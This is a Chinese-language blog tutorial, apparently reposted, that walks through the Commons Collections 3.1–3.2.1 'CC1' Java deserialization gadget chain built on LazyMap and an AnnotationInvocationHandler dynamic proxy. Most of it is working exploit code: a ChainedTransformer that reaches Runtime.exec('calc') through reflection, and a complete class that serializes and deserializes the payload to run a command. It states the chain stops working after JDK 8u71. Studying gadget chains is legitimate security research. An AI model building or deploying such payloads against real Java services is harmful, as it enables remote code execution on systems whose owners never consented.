赞
踩
实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
这篇文章探究从另个方向实现ChainedTransformer的执行
查看transformer的用法
在LazyMap.get()方法调用了factory.transform(key)
前提是保证LazyMap中的键(Key)为空
LazyMap可以理解为"懒惰的Map集合" 本身就没有Key值的传递
这个判断是可以直接过的
和TransformerMap一样protected
构造函数(仅仅被内部访问)通过公共静态方法decorate
构造
接受Map和Factory 可以尝试调用实例化后的LazyMap.get方法
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashmap=new HashMap<>();
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
lazymap.get(1);
现在的问题是如何调用LazyMap.get()方法
我们可以和上篇文章一样通过AnnotationInvocationHandler作为入口类
AnnotationInvocationHandler本意就是动态代理的调用类(Invocation Hanndler)
invoke
方法方法判断 进行了两个判断
第一的判断调用的方法名不能是equals
第二个判断了方法参数为0 也就是无参方法
比较巧合的一件事是在AnnotationInvocationHandler的readobject中
可控的memberValues调用了entrySet方法
恰好是个无参方法
那么我们的思路就非常明确了
给Map<String, Object> memberValues套一层动态代理,调用的处理类也是AnnotationInvocationHandler,就可以触发get方法实现RCE
参考上篇文章我们如何控制通过反射控制AnnotationInvocationHandler
Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
annotationDeclaredConstructor.setAccessible(true);
InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);
这里创建动态代理
在运行期动态创建一个interface
实例的方法如下:
定义一个InvocationHandler
实例,它负责实现接口的方法调用;
通过
Proxy.newProxyInstance()
创建interface实例,它需要3个参数:
ClassLoader
,通常就是接口类的ClassLoader
;InvocationHandler
实例。将返回的Object
强制转型为接口。
Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
然后再将动态代理Proxy作为参数传递给AnnotationInvocationHandler类,生成实例化,反序列化后readobject自动触发 代理类 的 无参方法进入代理的处理类invoke,走LazyMap的get方法,从而将整个链子打通
Map<Object,Object> mapproxy = (Map<Object, Object>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);
可以执行命令
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1_LazyMap { public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashmap=new HashMap<>(); Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer); Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class); annotationDeclaredConstructor.setAccessible(true); InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap); Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler); Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy); serialize(o); unserialize(); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); } public static void unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
CC1链的Transformer和LazyMap都依赖了AnnotationInvocationHandler作为入口类, jdk 8u71之后已修复不可利⽤,因为jdk高版本后 开发者修改AnnotationInvocationHandler的代码
下篇探究CC6 实现无视JDK版本实现RCE
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。